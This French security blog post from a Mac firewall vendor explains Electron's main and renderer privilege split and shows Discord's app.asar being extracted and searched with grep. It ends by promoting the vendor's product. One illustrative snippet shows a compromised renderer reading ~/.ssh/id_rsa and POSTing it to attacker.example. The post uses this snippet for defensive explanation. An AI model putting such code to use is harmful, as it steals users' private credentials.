Le blog sécurité de FireAI

Par FireAI Security & Research Team · Publié

Qu’y a-t-il réellement dans vos applications Electron ? Nous en avons extrait un pour le découvrir

Qu’y a-t-il réellement dans vos applications Electron ? Nous en avons extrait un pour le découvrir

Electron combine le moteur de rendu Chromium avec le runtime Node.js afin qu'une base de code JavaScript puisse être livrée en tant qu'application de bureau sur macOS, Windows et Linux. Slack, Discord, Notion et bien d’autres sont construits de cette façon, tout comme Microsoft Teams pendant des années. La commodité est réelle. Il convient donc de comprendre une conséquence : une application Electron n'est pas un processus avec un seul niveau de privilège, et sa source groupée n'est pas difficile à lire.

Deux processus, deux niveaux de privilèges

Chaque application Electron possède un processus principal, qui exécute Node.js complet avec un accès normal aux fichiers et au réseau au niveau du système d'exploitation, et un ou plusieurs processus de rendu, qui affichent le contenu Web dans un contexte Chromium. documents de sécurité d'Electron est explicite sur le risque de brouiller cette ligne : « Il est primordial que vous n'activiez pas l'intégration de Node.js dans un moteur de rendu qui charge du contenu distant », car cela supprime la barrière entre une page Web et le système d'exploitation. Son correctif déclaré n'est pas de « faire confiance au contenu à la place », mais architectural : garder l'accès au nœud hors du moteur de rendu et lui exposer uniquement une API délibérément étroite via un script de préchargement et l'API contextBridge, avec l'isolation du contexte activée.

Illustration : ce que l'intégration de Node dans un moteur de rendu compromis peut faire
// If nodeIntegration were on and an attacker's script ran in this renderer:
const fs = require('fs')
const https = require('https')

const key = fs.readFileSync(`${process.env.HOME}/.ssh/id_rsa`, 'utf8')
const req = https.request({ hostname: 'attacker.example', path: '/collect', method: 'POST' })
req.end(key)

L'archive n'est pas un secret : extraire une vraie application

La plupart des applications Electron expédient leur JavaScript et leur HTML dans un fichier app.asar. Les propres documents d'Electron expliquent directement à quoi sert ce format : "les archives sont en lecture seule" et le regroupement en un seul vise à "dissimuler votre code source à une inspection superficielle" - sa propre formulation, et non une affirmation extérieure - tout en indiquant clairement ailleurs qu'ASAR ne fournit aucun cryptage. Pour vérifier ce que cela signifie dans la pratique, nous avons extrait la copie réelle actuellement installée de Discord pour macOS (build 0.0.294) sur cette machine, à l'aide du propre packer maintenu par Electron.

Terminal
npm install -g @electron/asar
asar extract "/Applications/Discord.app/Contents/Resources/app.asar" ./discord_src
find ./discord_src -type f | wc -l
1056

Une commande a produit 1 056 fichiers bruts : JavaScript lisible, package.json et la propre disposition du module Discord, exactement comme le dit la documentation d'Electron. Pas de décompilation, pas d'ingénierie inverse, pas de mot de passe. Ce n’est pas un défaut de Discord ; c'est ainsi que le format ASAR fonctionne pour chaque application Electron, de par sa conception.

Ce que montre un véritable extrait sur le comportement du réseau

Avec la source en texte brut, l’examen de sécurité et la recherche deviennent triviaux. Nous avons recherché deux choses dans les fichiers extraits : quelles préférences Web Discord définit réellement et quels noms d'hôtes apparaissent dans son propre code (à l'exclusion des tiers node_modules).

Terminal, résultats du véritable extrait ci-dessus
grep -rn "nodeIntegration\|contextIsolation" --exclude-dir=node_modules .
app_bootstrap/splashScreen.js:376:      nodeIntegration: false,
app_bootstrap/splashScreen.js:379:      contextIsolation: true,

grep -rhoE "https?://[A-Za-z0-9._-]+\.[A-Za-z]{2,}" --exclude-dir=node_modules . | sed -E 's#https?://##' | sort | uniq -c | sort -rn | head
  12 www.w3.org
   3 twitter.com
   3 discord.com
   2 github.com
   1 updates.discord.com
   1 reactjs.org

Pour être juste envers l'application spécifique que nous avons testée : la fenêtre de l'écran de démarrage de Discord suit exactement les conseils de durcissement d'Electron, nodeIntegration: false et contextIsolation: true. Cela vaut la peine de le dire clairement plutôt que de le passer sous silence. Le point que cela fait valoir n’est pas que Discord n’est pas sécurisé ; c'est que nous pourrions vérifier, en quelques minutes, sur n'importe quelle application Electron, car le format d'archive ne garde rien de caché. La plupart des personnes qui installent une application Electron ne le regardent jamais, et la plupart des outils de point de terminaison statiques ne le font pas non plus.

Pourquoi un pare-feu de confiance binaire ne peut pas aider ici

Aucun des noms d’hôte ci-dessus n’est secret ou surprenant pour une application de chat, et c’est exactement le problème de la défense au niveau du réseau. Un pare-feu qui décide par signature de code voit une chose : un binaire notarié et signé par Apple effectuant des requêtes HTTPS ordinaires sur le port 443. Il n'a aucun moyen de distinguer un appel d'API légitime, un SDK d'analyse fourni et, dans un moteur de rendu véritablement compromis, une tentative d'exfiltration les uns des autres. Tous les trois ressemblent au même processus de confiance parlant à Internet, car il s’agit du même processus.

  • Juger une application Electron par sa signature de code ne dit rien sur lesquelles de ses nombreuses dépendances groupées établissent quelles connexions.
  • Étant donné que la source est du JavaScript brut dans une archive non chiffrée, vérifier ce qu'une application peut atteindre est réaliste, et non théorique, pour toute personne souhaitant exécuter asar extract.
  • Le seul contrôle qui ne dépend pas de la confiance dans le binaire est la politique réseau par processus et par destination : décider, au niveau du socket, ce qu'une application donnée est autorisée à atteindre.

Le rôle de FireAI et de HisnLabs

A signed Electron binary and a hidden telemetry SDK inside it look identical to a firewall that only checks the code signature; FireAI checks the connection itself, per app, so you can see and deny what any of your Electron apps are actually reaching, not just trust that they are Apple-notarized.

FireAI est le produit de HisnLabs : un pare-feu IA embarqué pour Mac. Il montre en langage clair chaque connexion faite par vos applications et vous laisse décider ce qui sort de votre Mac — son IA fonctionne en local, votre trafic ne nous est jamais envoyé, ni à personne d’autre. L’équipe de recherche en sécurité de HisnLabs est celle qui garde ces décisions fiables : elle recense les domaines de simple télémétrie face à ceux d’un vrai service, suit le pays et le réseau derrière une connexion, et entraîne le modèle embarqué (la fonction Autopilot) sur du trafic réel, sans que rien ne quitte votre Mac.

Vous pouvez lire les choix techniques qui s’y trouvent, ou essayer FireAI pendant 17 jours, sur FireAI, par HisnLabs.

Sources